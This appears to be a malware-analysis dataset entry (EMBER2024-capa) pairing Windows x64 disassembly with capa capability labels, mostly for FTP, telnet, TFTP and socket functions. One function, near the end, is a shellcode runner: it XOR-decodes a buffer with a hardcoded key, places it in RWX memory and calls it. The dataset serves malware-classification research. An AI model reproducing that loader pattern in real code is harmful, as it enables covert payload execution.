joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14004c170
Capabilities:
Resolve dns

Disassembly:
push rbx
push r12
push r13
push r14
push r15
sub rsp, 0x20
xor r13d, r13d
mov r12, r9
mov qword [r9], r13
mov ebx, r13d
lea r9, [rsp + 0x68]
mov r15d, r13d
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov r14d, eax
test eax, eax
jne 0x14004c334
mov qword [rsp + 0x58], rsi
mov rsi, qword [rsp + 0x68]
mov qword [rsp + 0x60], rdi
test rsi, rsi
je 0x14004c314
mov qword [rsp + 0x50], rbp
mov eax, dword [rsi + 4]
cmp eax, 2
jne 0x14004c1cd
lea ebp, [rax + 0xe]
jmp 0x14004c1d9
cmp eax, 0x17
jne 0x14004c281
lea ebp, [rax + 5]
cmp qword [rsi + 0x20], r13
je 0x14004c281
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x14004c281
cmp rax, rbp
jb 0x14004c281
mov ecx, Ordinal_50
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x14004c2bc
mov ecx, dword [rsi]
mov dword [rax], ecx
mov ecx, dword [rsi + 4]
mov dword [rax + 4], ecx
mov ecx, dword [rsi + 8]
mov dword [rax + 8], ecx
mov ecx, dword [rsi + 0xc]
mov dword [rax + 0xc], ecx
mov rcx, rbp
mov dword [rax + 0x10], ebp
mov qword [rax + 0x20], r13
mov qword [rax + 0x18], r13
mov qword [rax + 0x28], r13
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rdi + 0x20], rax
test rax, rax
je 0x14004c2ab
mov rdx, qword [rsi + 0x20]
mov r8, rbp
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rsi + 0x18]
test rcx, rcx
je 0x14004c26e
call qword [case.0x14002f419.0]
mov qword [rdi + 0x18], rax
test rax, rax
je 0x14004c290
test rbx, rbx
cmove rbx, rdi
test r15, r15
je 0x14004c27e
mov qword [r15 + 0x28], rdi
mov r15, rdi
mov rsi, qword [rsi + 0x28]
test rsi, rsi
jne 0x14004c1c0
jmp 0x14004c2c2
mov rcx, qword [rdi + 0x20]
mov r14d, 8
call qword [str.E_a_]
mov rcx, rdi
call qword [str.E_a_]
jmp 0x14004c2c2
mov rcx, rdi
mov r14d, 8
call qword [str.E_a_]
jmp 0x14004c2c2
mov r14d, 8
mov rcx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x50]
test rcx, rcx
je 0x14004c2d7
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
test r14d, r14d
je 0x14004c30f
test rbx, rbx
je 0x14004c30a
mov rcx, qword [rbx + 0x20]
call qword [str.E_a_]
mov rcx, qword [rbx + 0x18]
call qword [str.E_a_]
mov rdi, qword [rbx + 0x28]
mov rcx, rbx
call qword [str.E_a_]
mov rbx, rdi
test rdi, rdi
jne 0x14004c2e1
mov rbx, r13
jmp 0x14004c323
test rbx, rbx
jne 0x14004c323
mov r14d, 0x2af9
mov ecx, r14d
call qword [sym.imp.WS2_32.dll_WSASetLastError]
mov rdi, qword [rsp + 0x60]
mov eax, r14d
mov rsi, qword [rsp + 0x58]
mov qword [r12], rbx
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rbx
ret

Function at 0x14004c7f0
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
xor ebx, ebx
mov r9, rdx
mov r8, rcx
mov qword [rsp + 0x28], rbx
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
cmovbe rbx, rax
mov rax, rbx
add rsp, 0x30
pop rbx
ret
Function at 0x14004f9e0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov r14, rcx
mov ebx, 1
mov edx, ebx
xor ecx, ecx
xor ebp, ebp
call qword [0x1400b3030]
mov rdi, rax
test rax, rax
je 0x14004fa5d
nop word [rax + rax]
mov r8d, ebx
mov rdx, rdi
mov rcx, r14
mov rbp, rdi
mov esi, ebx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ebx, eax
test eax, eax
je 0x14004fa88
cmp ebx, esi
je 0x14004fa88
cmp ebx, 0x8000
ja 0x14004fa88
cmp ebx, esi
jb 0x14004fa83
mov edx, ebx
mov rcx, rdi
call qword [0x1400b3030]
mov rdi, rax
test rax, rax
jne 0x14004fa20
mov rcx, rbp
call qword [str.E_a_]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov rax, rdi
jmp 0x14004fa68
mov rcx, rdi
jmp 0x14004fa60

Function at 0x140055e60
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0xc0
mov rax, qword [0x1400b3098]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rbp, qword [rcx + 0x4c8]
lea r8, [rsp + 0x20]
mov rsi, qword [rcx]
lea rdx, [rsp + 0x30]
mov rdi, rcx
mov dword [rsp + 0x20], 0x80
mov rcx, rbp
mov rbx, 0xffffffffffffffff
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x140055eda
lea r8, [rsp + 0x20]
mov dword [rsp + 0x20], 0x80
lea rdx, [rsp + 0x30]
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_accept]
mov rbx, rax
mov rdx, rbp
mov rcx, rdi
call fcn.14003ade0
mov rcx, rsi
cmp rbx, 0xffffffffffffffff
jne 0x140055eff
lea rdx, str.Error_accept__ing_server_connect
call fcn.14003a180
lea eax, [rbx + 0x1f]
jmp 0x140055f78
lea rdx, str.Connection_accepted_from_server_n
call fcn.14003a300
mov edx, 1
mov byte [rdi + 0x660], 0
mov rcx, rbx
mov qword [rdi + 0x4c8], rbx
call fcn.140048730
mov byte [rdi + 0xb2c], 1
cmp qword [rsi + 0x728], 0
je 0x140055f76
mov dl, 1
mov rcx, rsi
call fcn.14002abd0
mov rcx, qword [rsi + 0x730]
mov r8d, 1
mov rdx, rbx
call qword [rsi + 0x728]
xor edx, edx
mov rcx, rsi
mov ebx, eax
call fcn.14002abd0
test ebx, ebx
je 0x140055f76
mov rcx, rdi
call fcn.140056490
mov eax, Ordinal_45
jmp 0x140055f78
xor eax, eax
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140073230
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x140056f70
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx]
mov rbx, rcx
add rcx, 0xa00
cmp byte [rax + 0xf09], 0
jne 0x140056f95
cmp dword [rax + 0x9f8], 0
je 0x140056fc1
mov r8, qword [rcx + 0x88]
test r8, r8
je 0x140056fc1
lea rdx, str.MDTM__s
call fcn.14006dfc0
test eax, eax
jne 0x140056fce
mov dword [rbx + 0xab8], 0x12
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.140057e00
add rsp, 0x20
pop rbx
ret
Function at 0x140057780
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x1e0]
cmp dword [rax + 0x10], 0
je 0x1400577b8
mov r8d, reloc.WS2_32.dll_listen
mov dword [rbx + 0xab8], 0xd
mov dl, 1
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.1400578d0
cmp byte [rcx + 0xf0e], 0
je 0x1400577d0
xor edx, edx
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.1400582c0
cmp byte [rcx + 0xf11], 0
je 0x140057871
mov r8, qword [rbx + 0xa88]
test r8, r8
jne 0x14005782b
mov r8, qword [rcx + 0xc08]
test r8, r8
jne 0x14005780e
cmp byte [rcx + 0xf0d], 0
lea rax, str.NLST
lea r8, str.LIST
cmovne r8, rax
lea rcx, [rbx + 0xa00]
lea rdx, str.PRET__s
call fcn.14006dfc0
test eax, eax
je 0x140057861
add rsp, 0x20
pop rbx
ret
cmp byte [rcx + 0xf1d], 0
lea rcx, [rbx + 0xa00]
je 0x140057851
lea rdx, str.PRET_STOR__s
call fcn.14006dfc0
test eax, eax
je 0x140057861
add rsp, 0x20
pop rbx
ret
lea rdx, str.PRET_RETR__s
call fcn.14006dfc0
test eax, eax
jne 0x14005787e
mov dword [rbx + 0xab8], 0x1d
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.140058230
add rsp, 0x20
pop rbx
ret

Function at 0x140057bc0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx]
mov rbx, rcx
mov rdx, qword [rax + 0x1e0]
cmp dword [rdx + 0x10], 0
je 0x140057c0d
cmp qword [rcx + 0xa88], 0
je 0x140057c0d
add rcx, 0xa00
lea rdx, str.REST__d
xor r8d, r8d
call fcn.14006dfc0
test eax, eax
jne 0x140057c17
mov dword [rbx + 0xab8], 0x1a
add rsp, 0x20
pop rbx
ret
add rsp, 0x20
pop rbx
jmp fcn.140057780
add rsp, 0x20
pop rbx
ret

Function at 0x140057da0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
add rcx, 0xa00
mov rax, qword [rbx]
mov rdx, qword [rax + 0x1e0]
cmp dword [rdx + 0x10], 1
jne 0x140057dec
mov r8, qword [rcx + 0x88]
test r8, r8
je 0x140057dec
lea rdx, str.SIZE__s
call fcn.14006dfc0
test eax, eax
jne 0x140057df9
mov dword [rbx + 0xab8], 0x17
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.140057bc0
add rsp, 0x20
pop rbx
ret

Function at 0x140057e00
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov r9, qword [rcx]
cmp byte [r9 + 0xf1c], 0
je 0x140057e58
cmp qword [rcx + 0xa88], 0
je 0x140057e58
cmp byte [r9 + 0xf0b], 0
mov eax, 0x41
mov edx, 0x49
cmovne edx, eax
movsx eax, byte [rcx + 0xaa8]
cmp eax, edx
je 0x140057e58
mov rax, qword [r9 + 0x1e0]
mov r8d, reloc.WS2_32.dll_send
mov dword [rax + 0x10], 1
movzx edx, byte [r9 + 0xf0b]
jmp fcn.1400566a0
jmp fcn.140057da0
Function at 0x140057e60
Capabilities:
Check http status code

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x30
xor ebx, ebx
lea eax, [rdx - 0xc8]
mov rdi, rcx
mov rcx, qword [rcx]
mov esi, r8d
cmp eax, 0x64
jb 0x140057e95
lea rdx, str.Couldnt_set_desired_mode
call fcn.14003a180
lea eax, [rbx + 0x11]
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
cmp edx, 0xc8
je 0x140057eac
mov r8d, edx
lea rdx, str.Got_a__03d_response_code_instead_of_the_assumed_200_n
call fcn.14003a300
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x60], r14
cmp esi, 0x13
jne 0x140057ec8
mov rcx, rdi
call fcn.140057da0
jmp 0x140057fff
cmp esi, 0x14
jne 0x140057fe1
mov rsi, qword [rdi]
mov rbp, rbx
cmp dword [rsi + 0xba0], 2
jne 0x140057f49
mov rax, qword [rsi + 0x1e0]
mov rdx, qword [rax]
test rdx, rdx
je 0x140057f49
mov byte [rsp + 0x28], 1
lea r9, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x20], rbx
mov rcx, rsi
mov qword [rsp + 0x50], rbx
call fcn.140023a90
test eax, eax
jne 0x140057fff
mov rcx, qword [rsp + 0x50]
lea edx, [rax + 0x2f]
call sub.VCRUNTIME140.dll_strrchr
test rax, rax
je 0x140057f3e
mov rbp, qword [rsp + 0x50]
mov ecx, 1
sub rax, rbp
cmovne rcx, rax
mov byte [rcx + rbp], bl
jmp 0x140057f49
mov rcx, qword [rsp + 0x50]
call qword [str.E_a_]
mov rdx, qword [rsi + 0xc08]
test rdx, rdx
jne 0x140057f6d
cmp byte [rsi + 0xf0d], bl
lea rax, str.NLST
lea rdx, str.LIST
cmovne rdx, rax
lea r8, [0x1400a4113]
test rbp, rbp
mov r9, r8
lea rax, [0x1400782f0]
cmovne r9, rbp
lea rcx, [0x14007c488]
cmovne r8, rax
call fcn.140028b00
mov rcx, rbp
mov r14, rax
call qword [str.E_a_]
test r14, r14
jne 0x140057fac
lea ebx, [r14 + 0x1b]
jmp 0x140058001
lea rcx, [rdi + 0xa00]
mov r8, r14
lea rdx, [0x140080c90]
call fcn.14006dfc0
mov rcx, r14
mov esi, eax
call qword [str.E_a_]
test esi, esi
je 0x140057fd5
mov ebx, esi
jmp 0x140058001
mov dword [rdi + 0xab8], 0x1f
jmp 0x140058001
cmp esi, 0x15
jne 0x140057fec
lea r8d, [rsi - 8]
jmp 0x140057ff5
cmp esi, 0x16
jne 0x140058001
lea r8d, [rsi - 8]
mov dl, 1
mov rcx, rdi
call fcn.1400578d0
mov ebx, eax
mov r14, qword [rsp + 0x60]
mov eax, ebx
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
Function at 0x14005d8f0
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x38
cmp byte [rcx + 0xf1e], 0
movsxd r10, r9d
je 0x14005da14
cmp r8d, 0xff
jne 0x14005d951
lea eax, [r10 - 0xec]
cmp eax, 0x13
ja 0x14005d93b
lea r8, [0x140000000]
mov r9, qword [r8 + r10*8 + 0x82810]
mov r8, rdx
lea rdx, str._s_IAC__s_n
add rsp, 0x38
jmp fcn.14003a300
mov r8, rdx
mov r9d, r10d
lea rdx, str._s_IAC__d_n
add rsp, 0x38
jmp fcn.14003a300
cmp r8d, 0xfb
jne 0x14005d963
lea r9, str.WILL
jmp 0x14005d9a1
cmp r8d, 0xfc
jne 0x14005d975
lea r9, str.WONT
jmp 0x14005d9a1
cmp r8d, 0xfd
jne 0x14005d987
lea r9, [0x140083234]
jmp 0x14005d9a1
xor r9d, r9d
lea rax, str.DONT
cmp r8d, 0xfe
cmove r9, rax
test r9, r9
je 0x14005d9fd
cmp r10d, 0x27
jg 0x14005d9d4
lea r8, [0x140000000]
mov r8, qword [r8 + r10*8 + 0x82e30]
test r8, r8
jne 0x14005d9e4
mov r8, rdx
mov dword [rsp + 0x20], r10d
lea rdx, str._s__s__d_n
call fcn.14003a300
add rsp, 0x38
ret
cmp r10d, 0xff
jne 0x14005d9bb
lea r8, str.EXOPL
mov qword [rsp + 0x20], r8
mov r8, rdx
lea rdx, str._s__s__s_n
call fcn.14003a300
add rsp, 0x38
ret
mov r9d, r8d
mov dword [rsp + 0x20], r10d
mov r8, rdx
lea rdx, str._s__d__d_n
call fcn.14003a300
add rsp, 0x38
ret

Function at 0x14005dd60
Capabilities:
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rbp, qword [rcx]
mov edi, r8d
mov esi, edx
mov byte [rax + 0x10], 0xff
xor r9d, r9d
mov byte [rax + 0x11], sil
mov rbx, rcx
mov byte [rax + 0x12], dil
mov rcx, qword [rcx + 0x4c0]
lea rdx, [rax + 0x10]
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x14005ddbf
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14003a180
mov rcx, qword [rbx]
lea rdx, str.SENT
mov r9d, edi
mov r8d, esi
call fcn.14005d8f0
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x14005df70
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x14005e118
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x14005dfd5
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x14005dfd5
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x14005dfd5
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x14005e00c
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x14005e062
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14005e062
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14005e062
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14005e062
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14005e062
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.14005da20
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x14005e0c4
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14003a180
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.14005ddf0
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x14005e110
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14003a180
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x14005f880
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x1400b3098]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x14005f915
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x14005f976
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.14003a180
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.140073230
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x14005fa31
sub ecx, 1
je 0x14005faa4
sub ecx, 1
je 0x14005f9e0
cmp ecx, 1
je 0x14005f9c3
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x140080c90]
call fcn.14003a180
jmp 0x14005faa4
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.14005f5b0
test eax, eax
je 0x14005faa4
jmp 0x14005f94a
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x14005faa4
sub rax, rsi
cmp rax, rbp
jae 0x14005faa4
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.14003a300
jmp 0x14005faa4
cmp r8d, 4
jle 0x14005faa4
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x14005faa4
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.14003a0a0
mov esi, eax
test eax, eax
je 0x14005fa83
mov edx, 5
mov rcx, rbx
call fcn.140060570
mov eax, esi
jmp 0x14005f94a
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.1400489a0
mov rcx, r14
call fcn.140048c80
test eax, eax
je 0x14005f948
mov edx, 5
mov rcx, rbx
call fcn.140060570
mov eax, Ordinal_45
jmp 0x14005f94a
Function at 0x140072840
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x140072882
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400728c9
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x140072922
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1400728e0
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x140072963
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x14008641a]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x14008641b]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x140072930
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x14007297c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140072a00
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, reloc.WS2_32.dll_accept
cmp byte [rcx + rax], 0
je 0x140072a00
dec r8
sub rdx, 1
jne 0x1400729e6
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x140074188
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400741d2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400741d2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400741d2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400741d2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400741d2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400741d4
xor al, al
add rsp, 0x28
ret
Function at 0x14001112c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
jmp 0x1400118d0
push rbp
push rsi
push rdi
sub rsp, 0x6b0
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x114
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001e008]
xor rax, rbp
mov qword [rbp + 0x688], rax
lea rcx, [0x1400230fa]
call fcn.14001137f
lea rax, [rbp + 0x10]
lea rcx, [0x14001ac70]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x37e
rep movsb byte [rdi], byte [rsi]
mov byte [rbp + 0x3a8], 0x61
mov byte [rbp + 0x3a9], 0x63
mov byte [rbp + 0x3aa], 0x74
mov byte [rbp + 0x3ab], 0x69
mov byte [rbp + 0x3ac], 0x76
mov byte [rbp + 0x3ad], 0x65
mov byte [rbp + 0x3ae], 0x6d
mov byte [rbp + 0x3af], 0x71
mov byte [rbp + 0x3b0], 0
mov dword [rbp + 0x3d4], 8
mov dword [rbp + 0x3f4], 0
mov dword [rbp + 0x414], 0
jmp 0x140011993
mov eax, dword [rbp + 0x414]
inc eax
mov dword [rbp + 0x414], eax
movsxd rax, dword [rbp + 0x414]
cmp rax, 0x37e
jae 0x1400119f2
movsxd rax, dword [rbp + 0x414]
movzx eax, byte [rbp + rax + 0x10]
movsxd rcx, dword [rbp + 0x3f4]
movzx ecx, byte [rbp + rcx + 0x3a8]
xor eax, ecx
movsxd rcx, dword [rbp + 0x414]
mov byte [rbp + rcx + 0x10], al
mov eax, dword [rbp + 0x3f4]
inc eax
mov dword [rbp + 0x3f4], eax
mov eax, dword [rbp + 0x3d4]
cmp dword [rbp + 0x3f4], eax
jne 0x1400119f0
mov dword [rbp + 0x3f4], 0
jmp 0x140011985
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x37e
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x438], rax
mov r8d, 0x37e
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x438]
call fcn.1400111b8
call qword [rbp + 0x438]
lea rcx, [rbp - 0x20]
lea rdx, [0x14001ac40]
call fcn.14001130c
mov rcx, qword [rbp + 0x688]
xor rcx, rbp
call fcn.1400111b3
lea rsp, [rbp + 0x690]
pop rdi
pop rsi
pop rbp
ret

Function at 0x1400111f4
Capabilities:
Terminate process

Disassembly:
jmp 0x140012f70
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
